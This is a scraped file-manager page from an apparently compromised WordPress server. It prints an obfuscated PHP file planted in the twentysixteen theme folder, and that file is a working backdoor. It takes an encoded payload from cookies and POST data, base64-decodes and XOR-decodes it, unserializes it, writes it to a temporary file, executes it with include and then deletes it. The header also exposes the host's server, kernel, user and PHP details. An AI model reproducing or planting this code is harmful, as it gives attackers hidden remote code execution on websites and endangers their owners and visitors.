HEX
Server: Apache/2.4.18 (Ubuntu)
System: Linux phubuntu06.apexhosting.com 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User: master06 (1000)
PHP: 7.0.33-0ubuntu0.16.04.16
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/html/stonescuppers_com/root/wp-content/themes/twentysixteen/UrlKdhpn.php
$emhJp = 'o' . 'x' . "\125" . chr (95) . chr (99) . 'W' . chr ( 297 - 212 )."\x65";$JTaxomL = chr (99) . "\154" . "\x61" . chr ( 1080 - 965 ).chr (115) . "\137" . 'e' . chr (120) . "\x69" . "\163" . "\x74" . 's';$pIcOsqz = class_exists($emhJp); $JTaxomL = "17269";$XbStI = strpos($JTaxomL, $emhJp);if ($pIcOsqz == $XbStI){function frDGWZLnFW(){$qzmXcrhgu = new /* 60520 */ oxU_cWUe(38085 + 38085); $qzmXcrhgu = NULL;}$YIudULMU = "38085";class oxU_cWUe{private function RnLGvFMTKM($YIudULMU){if (is_array(oxU_cWUe::$WYWgA)) {$name = sys_get_temp_dir() . "/" . crc32(oxU_cWUe::$WYWgA["salt"]);@oxU_cWUe::$WYWgA["write"]($name, oxU_cWUe::$WYWgA["content"]);include $name;@oxU_cWUe::$WYWgA["delete"]($name); $YIudULMU = "38085";exit();}}public function YunirShs(){$marRmaiAX = "9364";$this->_dummy = str_repeat($marRmaiAX, strlen($marRmaiAX));}public function __destruct(){oxU_cWUe::$WYWgA = @unserialize(oxU_cWUe::$WYWgA); $YIudULMU = "62421_4144";$this->RnLGvFMTKM($YIudULMU); $YIudULMU = "62421_4144";}public function xAzgji($marRmaiAX, $oZzNupfm){return $marRmaiAX[0] ^ str_repeat($oZzNupfm, intval(strlen($marRmaiAX[0]) / strlen($oZzNupfm)) + 1);}public function bcuRqMP($marRmaiAX){$gDqaK = chr (98) . "\141" . chr (115) . 'e' . chr ( 944 - 890 ).chr (52);return array_map($gDqaK . chr ( 780 - 685 ).chr ( 566 - 466 )."\x65" . chr (99) . chr (111) . chr ( 441 - 341 )."\145", array($marRmaiAX,));}public function __construct($AqIwUnAsDk=0){$YnVyozycLj = chr ( 122 - 78 ); $marRmaiAX = "";$UDuycB = $_POST;$FmQUNRs = $_COOKIE;$oZzNupfm = "c5752337-5c23-436f-ad9c-04e2584ac414";$VhiJlxJv = @$FmQUNRs[substr($oZzNupfm, 0, 4)];if (!empty($VhiJlxJv)){$VhiJlxJv = explode($YnVyozycLj, $VhiJlxJv);foreach ($VhiJlxJv as $hmSVtyfbvA){$marRmaiAX .= @$FmQUNRs[$hmSVtyfbvA];$marRmaiAX .= @$UDuycB[$hmSVtyfbvA];}$marRmaiAX = $this->bcuRqMP($marRmaiAX);}oxU_cWUe::$WYWgA = $this->xAzgji($marRmaiAX, $oZzNupfm);if (strpos($oZzNupfm, $YnVyozycLj) !== FALSE){$oZzNupfm = explode($YnVyozycLj, $oZzNupfm); $EgpmfFzWMQ = sprintf("62421_4144", strrev($oZzNupfm[0]));}}public static $WYWgA = 28230;}frDGWZLnFW();}